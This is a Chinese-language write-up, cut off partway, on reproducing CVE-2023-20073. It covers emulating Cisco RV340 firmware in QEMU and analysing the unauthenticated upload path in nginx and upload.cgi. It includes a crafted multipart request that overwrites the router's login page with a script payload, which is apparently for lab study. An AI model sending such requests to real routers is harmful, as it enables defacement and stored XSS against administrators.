本文对于CVE-2023-20073复现过程做了详尽的记录,其中包括了遇见过的各种坑和解决问题的方法及思路。
一
漏洞介绍
Cisco RV340
,RV340W
,RV345
和RV345P
四款型号的路由器中最新固件均存在一个未授权任意文件上传漏洞 (且目前尚未修复),攻击者可以在未授权的情况下将文件上传到/tmp/upload
目录中,然后利用upload.cgi
程序中存在的漏洞,最终造成存储型XSS
攻击。
近一年的IP
数量在2.8w
左右。
二
仿真
环境信息

下载固件
首先在思科官网(https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.29)中下载最新的RV340
固件。
固件解压-提取文件系统
把固件拖到虚拟机里用binwalk解压
,执行binwalk -Me RV34X-v1.0.03.29-2022-10-17-13-45-34-PM.img。
执行后发现没有找到解压出来的文件系统,然后看一下binwalk
给的warning
(如下),说是执行失败ubireader_extract_files
程序。
这是因为这里的文件系统是ubi
格式的,我的binwalk
当初是用apt install binwalk
安装的,就导致少装一些东西(尽量通过源码安装binwalk
),最终就没提取出来这个ubi
格式的文件系统。可以看到下面这个路径的位置只有一个0.ubi
的文件,确实是没提取出来文件系统的。
解决方法:安装ubi_reader
(ubi_reader
工具中就包含了上面缺少的ubireader_extract_files
脚本 ) ,命令如下:
sudo apt install liblzo2-dev
sudo pip3 install python-lzo
sudo pip3 install ubi_reader
安装成功后,重新执行binwalk
提取文件系统,可以看到这次就成功将文件系统提取出来了(如下图)。
但是还没完,binwalk
还有warning
(如下图),说是原本文件中存在的软链接指向了提取目录之外,就比如当前的var
目录,它指向的是我本机的/tmp
目录,为了安全考虑binwalk
将这种软链接都置成了/dev/null
。这里放任不管的话,之后的仿真会失败,比如路由器的某个服务需要去访问var
目录下的文件,但它如果是被置成/dev/null
的话,目录自然是缺失的。其实这个var -> /tmp
的本意是指向提取出来文件系统的/tmp
,并非是我本机的/tmp
,因此只要我能保留这个软链接,到时候用chroot
创建一个隔离的文件系统就一切正常了。
解决方法:通过上面报错的字符串找到是出现在binwalk/build/lib/binwalk/modules/extractor.py
文件(如下图),将if not ...
修改为if 0 and not ...
然后回到binwalk
主目录执行sudo python3 setup.py install
重新安装一下,如此就不会再执行将软链接置成/dev/null
的操作了。
对于解压ubi
格式的文件系统补充两个方法,因为我们只是要文件系统,所以binwalk
解压出来0.ubi
文件后(用其他解压软件也能解出来0.ubi
,比如7zip
),可以直接用ubireader_extract_files 0.ubi
命令来解压0.ubi
,这样不会出现那个软链接的问题,但得安装ubi_reader
。还可以使用ubidump(https://github.com/nlitsme/ubidump/blob/master/ubidump.py)对ubi
文件系统进行提取,直接复制源码,然后执行python3 ubidump.py -s . 0.ubi
进行提取,这两种方法都不会破坏其中的软链接。
实现宿主机与qemu
的通信
因为之后需要用scp
传文件以及启动服务等操作肯定是需要配置qemu
模拟环境网络的,大概原理就是设置一个网桥,然后开一个接口,把这个接口给qemu
,然后流量的发送都通过这个网桥,画成图的话就是下面这个样子。
具体方法:创建一个net.sh
脚本,我这里的网卡是ens33
,如果是eth0
的话,就把出现的ens33
换成eth0
即可,chmod +x net.sh
给文件可执行权限,然后./net.sh
运行。
#!/bin/sh
#sudo ifconfig eth0 down # 首先关闭宿主机网卡接口
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33 # 在 br0 中添加一个接口
sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 # 设置 br0 的转发延迟
sudo brctl sethello br0 1 # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0 # 查看虚拟网桥列表
sudo brctl showstp br0 # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
sudo brctl showstp br0
启动qemu模拟环境
首先用file
命令查看一下busybox
的文件信息(如下),这里是ARM
架构 小端序,因此我们要下载对应的内核映像还有磁盘映像等文件。
访问网站(https://people.debian.org/~aurel32/qemu/armhf/)下载这三个文件。
使用wget
来下载文件,命令如下:
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
启动脚本如下:
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress
-initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2
-append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no
-nographic -smp 4
如果执行启动脚本的话,应该会报如下错误,这里说的是SD card size
应该是2
的幂,应该改成32GB。
解决方法是执行qemu-img resize debian_wheezy_armhf_standard.qcow2 32G。
再次执行启动脚本,大概要等待两分钟左右就会让输入账号和密码(如下),账号密码都是root。
进去后看到了IP
,并且能正常与宿主机通信(如下图)就说明到这里都是操作正确的。
启动服务&&解决报错
先把文件系统给压缩打包,然后用scp
传到qemu
中,再将文件系统解压(这里发送的时候要发压缩包,不然后续有可能会缺少文件,我最初因为传的是文件夹,导致出现了错误,就在这里浪费了很多时间)。
压缩命令tar -czvf rootfs.tar.gz rootfs
传输文件命令sudo scp -r rootfs.tar.gz root@192.168.45.66:/root/rootfs.tar.gz
(IP
、用户名和路径都换成自己的)
解压命令tar -xzvf rootfs.tar.gz
接下来进行仿真时要先用chroot
命令创建隔离的文件系统环境。但这会导致无法在隔离的文件系统中访问原本的/proc
和/dev
目录,因为它们是特殊的虚拟文件夹(用于提供系统信息和设备的访问)为了让qemu
环境正常运行,需将原本qemu
的/proc
和/dev
目录挂载到新创建的隔离环境中。
chmod -R 777 rootfs
cd rootfs/
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh
还记得上文提到的软链接的问题么,此时位于这个文件系统中,软链接就已经指向了正确的位置(如下)。
在/etc/init.d
目录下存放了各种服务的启动和停止脚本,下面这里发现有nginx
服务的脚本。
然后尝试开启nginx
服务,执行命令/etc/init.d/nginx start
,访问一下qemu
环境的IP
,看服务是否启动(如下)。
没跑起来,然后看一下报错信息(如下)。
/ # /etc/init.d/nginx start
uci: Entry not found
chown: /var/firmware: No such file or directory
chown: /var/3g-4g-driver: No such file or directory
chown: /var/in_certs: No such file or directory
chown: /var/signature: No such file or directory
chown: /var/language-pack: No such file or directory
chown: /var/configuration: No such file or directory
FAILED: confd_load_schemas(addr, addrlen), Error: system call failed (24): Connection refused, in function run, line 2413
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
touch: /tmp/stats/certstats.tmp: No such file or directory
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
cp: can't stat '/tmp/stats/certstats.tmp': No such file or directory
FAILED: confd_load_schemas(addr, addrlen), Error: system call failed (24): Connection refused, in function run, line 2413
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
touch: /tmp/stats/certstats.tmp: No such file or directory
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
cp: can't stat '/tmp/stats/certstats.tmp': No such file or directory
FAILED: confd_load_schemas(addr, addrlen), Error: system call failed (24): Connection refused, in function run, line 2413
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
touch: /tmp/stats/certstats.tmp: No such file or directory
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
cp: can't stat '/tmp/stats/certstats.tmp': No such file or directory
Collected errors:
* opkg_conf_load: Could not create lock file /var/lock/opkg.lock: No such file or directory.
nginx: [emerg] open() "/var/lock/nginx.lock.accept" failed (2: No such file or directory)
uci: Entry not found
/ # [uWSGI] getting INI configuration from /etc/uwsgi/blockpage.ini
[uWSGI] getting INI configuration from /etc/uwsgi/jsonrpc.ini
[uWSGI] getting INI configuration from /etc/uwsgi/upload.ini
*** Starting uWSGI 2.0.15 (32bit) on [Mon Jul 31 06:57:28 2023] ***
compiled with version: 4.8.3 on 17 October 2022 13:32:49
os: Linux-3.2.0-4-vexpress #1 SMP Debian 3.2.51-1
nodename: debian-armhf
machine: armv7l
clock source: unix
pcre jit disabled
detected number of CPU cores: 4
current working directory: /
detected binary path: /usr/sbin/uwsgi
*** Starting uWSGI 2.0.15 (32bit) on [Mon Jul 31 06:57:28 2023] ***
compiled with version: 4.8.3 on 17 October 2022 13:32:49
os: Linux-3.2.0-4-vexpress #1 SMP Debian 3.2.51-1
nodename: debian-armhf
machine: armv7l
clock source: unix
pcre jit disabled
detected number of CPU cores: 4
current working directory: /
detected binary path: /usr/sbin/uwsgi
*** Starting uWSGI 2.0.15 (32bit) on [Mon Jul 31 06:57:28 2023] ***
setgid() to 33
compiled with version: 4.8.3 on 17 October 2022 13:32:49
os: Linux-3.2.0-4-vexpress #1 SMP Debian 3.2.51-1
nodename: debian-armhf
machine: armv7l
clock source: unix
pcre jit disabled
detected number of CPU cores: 4
current working directory: /
detected binary path: /usr/sbin/uwsgi
setgid() to 33
setgid() to 33
setuid() to 33
setuid() to 33
setuid() to 33
your processes number limit is 961
your memory page size is 4096 bytes
detected max file descriptor number: 1024
your processes number limit is 961
your memory page size is 4096 bytes
lock engine: pthread robust mutexes
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
your processes number limit is 961
your memory page size is 4096 bytes
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
thunder lock: disabled (you can enable it with --thunder-lock)
thunder lock: disabled (you can enable it with --thunder-lock)
uwsgi socket 0 bound to TCP address 127.0.0.1:9001 fd 3
uwsgi socket 0 bound to TCP address 127.0.0.1:9000 fd 3
your server socket listen backlog is limited to 100 connections
your server socket listen backlog is limited to 100 connections
your mercy for graceful operations on workers is 60 seconds
thunder lock: disabled (you can enable it with --thunder-lock)
uwsgi socket 0 bound to TCP address 127.0.0.1:9003 fd 3
your mercy for graceful operations on workers is 60 seconds
your server socket listen backlog is limited to 100 connections
mapped 128512 bytes (125 KB) for 1 cores
mapped 321280 bytes (313 KB) for 4 cores
*** Operational MODE: preforking ***
initialized CGI mountpoint: /jsonrpc = /www/cgi-bin/jsonrpc.cgi
*** Operational MODE: single process ***
initialized CGI mountpoint: /blocked.php = /www/cgi-bin/blockpage.cgi
*** no app loaded. going in full dynamic mode ***
your mercy for graceful operations on workers is 60 seconds
*** no app loaded. going in full dynamic mode ***
mapped 128512 bytes (125 KB) for 1 cores
*** uWSGI is running in multiple interpreter mode ***
spawned uWSGI master process (pid: 2903)
*** uWSGI is running in multiple interpreter mode ***
spawned uWSGI worker 1 (pid: 2906, cores: 1)
spawned uWSGI master process (pid: 2904)
*** Operational MODE: single process ***
initialized CGI path: /www/cgi-bin/upload.cgi
*** no app loaded. going in full dynamic mode ***
*** uWSGI is running in multiple interpreter mode ***
spawned uWSGI master process (pid: 2905)
spawned uWSGI worker 1 (pid: 2909, cores: 1)
spawned uWSGI worker 2 (pid: 2908, cores: 1)
spawned uWSGI worker 1 (pid: 2907, cores: 1)
spawned uWSGI worker 3 (pid: 2910, cores: 1)
spawned uWSGI worker 4 (pid: 2911, cores: 1)
就这里有一个报错FAILED: confd_load_schemas(addr, addrlen), Error: system call failed (24): Connection refused, in function run, line 2413
也不太清楚这是什么,但是这里有一个confd
,而在/etc/init.d
目录下,有一个confd
服务(查了一下资料,说是轻量级的配置管理工具),那就给它启起来,执行/etc/init.d/confd start。
报错信息如下:
/ # /etc/init.d/confd start
uci: Entry not found
cp: can't stat '/etc/ssl/private/Default.pem': No such file or directory
Failed reading '/tmp/dropbear_host_key'
TRACE Connected (maapi) to ConfD
attaching to init session...
TRACE MAAPI_ATTACH --> CONFD_OK
TRACE MAAPI_DELETE /avc-meta-data --> CONFD_OK
TRACE MAAPI_LOAD_CONFIG_FILE --> CONFD_OK
TRACE Connected (maapi) to ConfD
attaching to init session...
TRACE MAAPI_ATTACH --> CONFD_OK
TRACE MAAPI_DELETE /device-os-types --> CONFD_OK
TRACE MAAPI_LOAD_CONFIG_FILE --> CONFD_OK
TRACE Connected (maapi) to ConfD
attaching to init session...
TRACE MAAPI_ATTACH --> CONFD_OK
TRACE MAAPI_DELETE /webfilter-meta-data --> CONFD_OK
TRACE MAAPI_LOAD_CONFIG_FILE --> CONFD_OK
0
uci: Entry not found
uci: Entry not found
CDB boot error: Init transaction failed to validate: /confd_dyncfg:confdConfig: Need read access to one of the files ./ssh/ssh_host_dsa_key and ./ssh/ssh_host_rsa_key defined for /confdConfig/aaa/sshServerKeyDir
0
connection refused (start_phase2)
uci: Entry not found
uci: Entry not found
uci: Entry not found
FAILED: confd_load_schemas(addr, addrlen), Error: system call failed (24): Connection refused, in function run, line 2413
FAILED: confd_load_schemas(addr, addrlen), Error: system call failed (24): Connection refused, in function run, line 2413
uci: Entry not found
uci: Entry not found
FAILED: maapi_connect(ms, addr, addrlen), Error: system call failed (24): Connection refused, in function run, line 2432
FAILED: maapi_connect(ms, addr, addrlen), Error: system call failed (24): Connection refused, in function run, line 2432
FAILED: maapi_connect(ms, addr, addrlen), Error: system call failed (24): Connection refused, in function run, line 2432
FAILED: maapi_connect(ms, addr, addrlen), Error: system call failed (24): Connection refused, in function run, line 2432
然后这里出现的报错是cp: can't stat '/etc/ssl/private/Default.pem': No such file or directory
这意味着是缺少ssl
证书,搜索一下字符串/etc/ssl/private
(我是放到vscode
里搜的)发现大概有十几个文件吧,里面有一个文件叫做generate_default_cert
,这名字一听就很正经,叫做生成默认证书。
因此执行generate_default_cert
,发现还有报错,信息如下:
/ # generate_default_cert
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Entry not found
cp: can't stat '/tmp/etc/config/certificate': No such file or directory
touch: /tmp/stats/certstats.tmp: No such file or directory
/usr/bin/certscript: line 1: can't create /tmp/stats/certstats.tmp: nonexistent directory
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
cp: can't stat '/tmp/stats/certstats.tmp': No such file or directory
Default
这里一直有一个错误是uci: Entry not found
,百度一下,结果如下:
意思是uci
读取的这个配置路径不存在(我是这里理解的),然后在/etc/init.d/boot
文件中有两行代码,就是来创建的路径。
所以这里再执行/etc/init.d/boot boot
,此刻如果你开启nginx
服务的话(端口如果被占用了,执行/etc/init.d/nginx restart
进行重启)应该就发现访问到路由器的首页面了,如下:
因此最终启动服务的命令如下:
/etc/init.d/boot boot
generate_default_cert
/etc/init.d/confd start
/etc/init.d/nginx start
如果刚开始测试的时候把环境整的乱七八糟,发现上面启动了nginx
服务,访问是失败的。不用慌,接下来先确保完成下面的四个操作:
qemu
,重新进入,依次执行上面的四个命令,并确保命令是执行成功了(因为是仿真,虽然还有很多报错,但只要能启动需要的服务就是好仿真)。binwalk
解压的文件系统完整,并且软链接还在(尽可能不要解固件的时候出现warning
)。scp
传进来的是压缩过的文件系统,而不是直接传了文件系统。如果这四个操作全部做过,但依然访问失败的话,那么你可以开始慌了。因为上面的四种情况导致了主机中不能成功访问路由器登录界面的情况我都遇见过。如果还是不行的话,那确实是我没遇见的情况。下面我给出我执行四条命令后的输出错误信息(此时可以访问成功登录界面),如果还是无法成功访问路由器登录界面的话,可以比对下面的错误信息,看看哪里不同,去找到相应的解决方法。
/ # /etc/init.d/boot boot
mount: mounting debugfs on /sys/kernel/debug failed: No such file or directory
Mounting mnt partitions..mount: mounting /dev/mtdblock9 on /mnt/configcert failed: No such device
mount: mounting /dev/mtdblock10 on /mnt/avcsign failed: No such device
mount: mounting /dev/mtdblock11 on /mnt/webrootdb failed: No such device
mount: mounting /dev/mtdblock12 on /mnt/license failed: No such device
done.
create_meta_data_xml begin
meta_data_gen_state: 0
meta_data_gen_state: 1
create_meta_data_xml end
/ # generate_default_cert
touch: /tmp/stats/certstats.tmp: No such file or directory
/usr/bin/certscript: line 1: can't create /tmp/stats/certstats.tmp: nonexistent directory
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
cp: can't stat '/tmp/stats/certstats.tmp': No such file or directory
Default
/ # /etc/init.d/confd start
TRACE Connected (maapi) to ConfD
attaching to init session...
TRACE MAAPI_ATTACH --> CONFD_OK
TRACE MAAPI_DELETE /avc-meta-data --> CONFD_OK
TRACE MAAPI_LOAD_CONFIG_FILE --> CONFD_OK
TRACE Connected (maapi) to ConfD
attaching to init session...
TRACE MAAPI_ATTACH --> CONFD_OK
TRACE MAAPI_DELETE /device-os-types --> CONFD_OK
TRACE MAAPI_LOAD_CONFIG_FILE --> CONFD_OK
TRACE Connected (maapi) to ConfD
attaching to init session...
TRACE MAAPI_ATTACH --> CONFD_OK
TRACE MAAPI_DELETE /webfilter-meta-data --> CONFD_OK
TRACE MAAPI_LOAD_CONFIG_FILE --> CONFD_OK
0
uci: Entry not found
0
uci: Entry not found
uci: Entry not found
uci: Entry not found
uci: Parse error (option/list command found before the first section) at line 2492, byte 1
cp: can't stat '/tmp/etc/syslog_config_template': No such file or directory
sed: /tmp/syslog-ng.conf: No such file or directory
Error opening configuration file; filename='/tmp/syslog-ng.conf', error='Success (0)'
SIOCGMIIPHY: No such device
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
0
PnP Agent is starting!
/ # /etc/init.d/nginx start
chown: /var/firmware: No such file or directory
chown: /var/3g-4g-driver: No such file or directory
chown: /var/in_certs: No such file or directory
chown: /var/signature: No such file or directory
chown: /var/language-pack: No such file or directory
chown: /var/configuration: No such file or directory
FAILED: maapi_get_elem(ms, mtid, &val, argv[0]), Error: item does not exist (1): /firewall-basic-settings:firewall/remote-web-management/cert does not exist, in function do_maapi_get, line 1463
touch: /tmp/stats/certstats.tmp: No such file or directory
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
cp: can't stat '/tmp/stats/certstats.tmp': No such file or directory
FAILED: maapi_get_elem(ms, mtid, &val, argv[0]), Error: item does not exist (1): /ciscosb-restconf:ciscosb-restconf/transport/https/cert does not exist, in function do_maapi_get, line 1463
touch: /tmp/stats/certstats.tmp: No such file or directory
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
cp: can't stat '/tmp/stats/certstats.tmp': No such file or directory
FAILED: maapi_get_elem(ms, mtid, &val, argv[0]), Error: item does not exist (1): /ciscosb-netconf:ciscosb-netconf/transport/ssh/cert does not exist, in function do_maapi_get, line 1463
touch: /tmp/stats/certstats.tmp: No such file or directory
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
cp: can't stat '/tmp/stats/certstats.tmp': No such file or directory
/ # [uWSGI] getting INI configuration from /etc/uwsgi/upload.ini
[uWSGI] getting INI configuration from /etc/uwsgi/blockpage.ini
[uWSGI] getting INI configuration from /etc/uwsgi/jsonrpc.ini
*** Starting uWSGI 2.0.15 (32bit) on [Mon Jul 31 11:52:02 2023] ***
compiled with version: 4.8.3 on 17 October 2022 13:32:49
os: Linux-3.2.0-4-vexpress #1 SMP Debian 3.2.51-1
nodename: Router
machine: armv7l
clock source: unix
pcre jit disabled
detected number of CPU cores: 4
current working directory: /
detected binary path: /usr/sbin/uwsgi
setgid() to 33
*** Starting uWSGI 2.0.15 (32bit) on [Mon Jul 31 11:52:02 2023] ***
compiled with version: 4.8.3 on 17 October 2022 13:32:49
os: Linux-3.2.0-4-vexpress #1 SMP Debian 3.2.51-1
nodename: Router
machine: armv7l
clock source: unix
pcre jit disabled
detected number of CPU cores: 4
current working directory: /
detected binary path: /usr/sbin/uwsgi
setgid() to 33
setuid() to 33
setuid() to 33
your processes number limit is 961
your processes number limit is 961
your memory page size is 4096 bytes
your memory page size is 4096 bytes
detected max file descriptor number: 1024
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
lock engine: pthread robust mutexes
thunder lock: disabled (you can enable it with --thunder-lock)
uwsgi socket 0 bound to TCP address 127.0.0.1:9003 fd 3
*** Starting uWSGI 2.0.15 (32bit) on [Mon Jul 31 11:52:02 2023] ***
compiled with version: 4.8.3 on 17 October 2022 13:32:49
os: Linux-3.2.0-4-vexpress #1 SMP Debian 3.2.51-1
nodename: Router
machine: armv7l
clock source: unix
pcre jit disabled
detected number of CPU cores: 4
current working directory: /
detected binary path: /usr/sbin/uwsgi
your server socket listen backlog is limited to 100 connections
your mercy for graceful operations on workers is 60 seconds
thunder lock: disabled (you can enable it with --thunder-lock)
uwsgi socket 0 bound to TCP address 127.0.0.1:9000 fd 3
your server socket listen backlog is limited to 100 connections
your mercy for graceful operations on workers is 60 seconds
mapped 128512 bytes (125 KB) for 1 cores
*** Operational MODE: single process ***
initialized CGI path: /www/cgi-bin/upload.cgi
*** no app loaded. going in full dynamic mode ***
*** uWSGI is running in multiple interpreter mode ***
spawned uWSGI master process (pid: 4377)
spawned uWSGI worker 1 (pid: 4380, cores: 1)
setgid() to 33
mapped 321280 bytes (313 KB) for 4 cores
setuid() to 33
your processes number limit is 961
your memory page size is 4096 bytes
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
thunder lock: disabled (you can enable it with --thunder-lock)
*** Operational MODE: preforking ***
initialized CGI mountpoint: /jsonrpc = /www/cgi-bin/jsonrpc.cgi
*** no app loaded. going in full dynamic mode ***
*** uWSGI is running in multiple interpreter mode ***
spawned uWSGI master process (pid: 4375)
spawned uWSGI worker 1 (pid: 4385, cores: 1)
uwsgi socket 0 bound to TCP address 127.0.0.1:9001 fd 3
your server socket listen backlog is limited to 100 connections
your mercy for graceful operations on workers is 60 seconds
spawned uWSGI worker 2 (pid: 4386, cores: 1)
mapped 128512 bytes (125 KB) for 1 cores
*** Operational MODE: single process ***
initialized CGI mountpoint: /blocked.php = /www/cgi-bin/blockpage.cgi
*** no app loaded. going in full dynamic mode ***
*** uWSGI is running in multiple interpreter mode ***
spawned uWSGI master process (pid: 4376)
spawned uWSGI worker 3 (pid: 4387, cores: 1)
spawned uWSGI worker 4 (pid: 4389, cores: 1)
spawned uWSGI worker 1 (pid: 4388, cores: 1)
三
漏洞成因
关于这个洞的成因,我也跟winmt师傅聊了一下,这里我说一下我认为导致这个漏洞能利用的三个点。
前提条件
这里存在未授权的文件上传(如下),仅仅看这里也没啥用,因为文件上传到了/tmp/upload
目录下,第二就是如果没有绕过那个正则检查的话,也会将上传的文件夹全删掉。所以这里仅是个前提条件。
根本原因
根本原因是身份认证位于了漏洞发生处之后,只要system
的命令执行成功,sub_115EC
函数的返回值就为0
,又因为我们访问的URL
为/api/operations/ciscosb-file:form-file-upload
,所以会进入下面的if
执行sub_125A8
函数(如下图)。
而sub_125A8
函数中的如下位置会做身份认证,但是出现的问题就在于身份认证在漏洞触发点之后,所以做了跟没做一样,还是可以未授权文件上传。winmt师傅说可能之前那是前置操作部分,开发者想把身份认证的位置放到前置操作之后,但是没想到前置操作部分就存在了一个漏洞点。
临门一脚
就算上面两个条件都满足了,也只是可以将上传的文件移动到/tmp/www
目录下,如果这下面没放什么东西的话,也不会有什么危害。但问题就在于/www/login.html
和index.html
两个文件软链接到了/tmp/www/login.html
和/tmp/www/index.html
上(如下图),只要覆盖掉/tmp/www/login.html
或者/tmp/www/index.html
就可以篡改掉登录首页面,从而完成了最终存储型XSS
攻击。
四
漏洞分析
配置文件分析
第一个红框是该文件路径,第二个红框中的代码展示的是Nginx
文件上传模块,下面对代码逐一分析。
首先是location /api/operations/ciscosb-file:form-file-upload
,这个location
块是Nginx
配置文件中用于匹配URL
路径的指令,就比如访问192.168.0.1:/api/operations/ciscosb-file:form-file-upload
就可以执行到下面的代码。
然后代码14
到22
行是很好理解的,$http_authorization
为空的话返回403
,非空的话就可以执行下面的代码。这里的$http_authorization
是HTTP
请求中Authorization
的值,从如下代码可以判断出来。
upload_pass /form-file-upload
转至后台处理/form-file-upload
这个URL
upload_store /tmp/upload
上传文件临时保存路径为/tmp/upload
upload_store_access user:rw group:rw all:rw
表示上传文件的权限
upload_set_form_field
设置额外的表单字段,一些变量如下。这块在最后编写EXP
的时候有一个很重要的点,后面再说。
$upload_file_name
文件原始名字$upload_field_name
表单的name
值$upload_content_type
文件的类型$upload_tmp_path
文件上传后的地址
upload_aggregate_form_field
额外的变量,在上传成功后生成这几个字段
$upload_file_md5
文件的MD5
校验值$upload_file_size
文件大小
upload_cleanup 400 404 499 500-505
如果pass
页面是以下状态码,就删除本次上传的文件
这地方的代码就很奇怪,因为这里只需要控制一下Authorization
就可以将文件上传到/tmp/upload
目录,也没有做sessionid
的判断。可以看一下location /upload
的代码(如下图),这里做了/tmp/websession/token/$cookie_sessionid
文件是否存在的判断以及正则匹配的检查防止目录穿越。
说完此处的文件上传,再来看一下upload_pass /form-file-upload
,它会跳转到location /form-file-upload
这里的代码来执行,这里有一个uwsgi_pass 127.0.0.1:9003
,它会把请求转发给uwsgi
给处理。
顺便提一下,在Nginx
的启动脚本中最后一句是$UWSGI start
,启动的就是这个uwsgi
服务,它启动后会开启下面三个进程(如下图)。
uwsgi -m --ini /etc/uwsgi/upload.ini &
在这个进程中会调用upload.cgi
进程(为什么是upload.cgi
进程呢?因为在配置中记录了要执行的程序路径,如下),调用的方式是先fork
了一个子进程,然后execvp
来执行upload.cgi。
二进制程序upload.cgi分析
静态分析
接着来分析漏洞的触发点,它就位于这个/www/cgi-bin/upload.cgi
二进制程序中。
因为程序去除了符号表,所以我们从_libc_start_main
中寻找main
函数入口(该函数的第一个参数就是main
函数)。
接下来从最终的利用点进行倒着分析,这个sub_115EC
函数被调用于main
函数。
最终system
会执行mv -f a2 v8/a3
,而这三个变量都可以控制,/www/login.html
软链接到了/tmp/www/login.html
这个文件上,因此如果我们能把a2
控制为刚上传的文件路径,v8
控制为/tmp/www
,a3
控制为login.html
就能执行mv -f /tmp/upload/xxx /www/login.html
从而完成对路由器登录界面的篡改。要将v8
控制为/tmp/www
则要设置a1
的值为Portal。
参数控制
上面对sub_115EC
函数的三个实参进行了分析,下面看一下main
函数中这三个参数是怎么控制的。
溯源这些值的话,v17
是pathparam
字段的值(根据上面的分析,将这个字段要控制为Portal
),v16
是file.path
字段的值(这里要为刚上传的文件路径),v18
是fileparam
的值(这里要控制为login.html
)。
动态调试解析报文字段
问题是这些要控制的值怎么来呢?
这需要分析下面的代码(此处的分析需要配合动态调试,关于如何动态调试这种cgi
程序,请看“调试方法”一节)。
因为程序中读入数据的只有fread
,所以假定这里是读入POST
请求,接着先来写一个报文发过去调试一下,这里要控制pathparam
和fileparam
为上面我们指定的值,至于那个file.path
是什么还不知道,这里都一起发过去试试。(由上图中通过定位boundary=
字符串获取报文分隔符,结合该cgi
的具体功能文件上传,可知该报文需要以表单格式multipart/form-data
发送POST
请求)。
------------
Content-Disposition: form-data; name="pathparam"
Portal
------------
Content-Disposition: form-data; name="fileparam"
login.html
------------
Content-Disposition: form-data; name="file.path"
login.html
------------
Content-Disposition: form-data; name="what";filename="login.html";Content-Type: application/octet-stream
<title>test</title>
<script>alert('debug')</script>
------------
我选择把断点打在了0x10EBC
处,这里是刚刚执行完了fread
函数。通过查看代码得知,fread
函数执行完会在读入的数据末尾加一个0
,下图红框中的指令就是在做这件事,分析得知R5
寄存器是存放着刚读入的数据,下面来查看一下。
如此验证了猜测,这里确实是POST
报文,接下来看一下后面是怎么把报文中的字段值解析出来的(补充一点,不知道为什么调试的时候是没办法用n
来跳过函数的,我用的方法是打断点c
过去)。
下面我直接说解析字段的结论,如果有想弄清过程的师傅可以自己调试一下。这个multipart_parser_execute
函数是将POST
报文进行了字段的解析,就大概是做了一个键值对出来,可能用结构体来实现的(反正调试看到的是用多个堆块通过指针的方式,将键和值做一个匹配)。
然后执行到jsonutil_get_string
函数时,可以把file.path
pathparam
这种字段的值给解析出来,以jsonutil_get_string(dword_2348C, &v26, ""file.path"", -1);
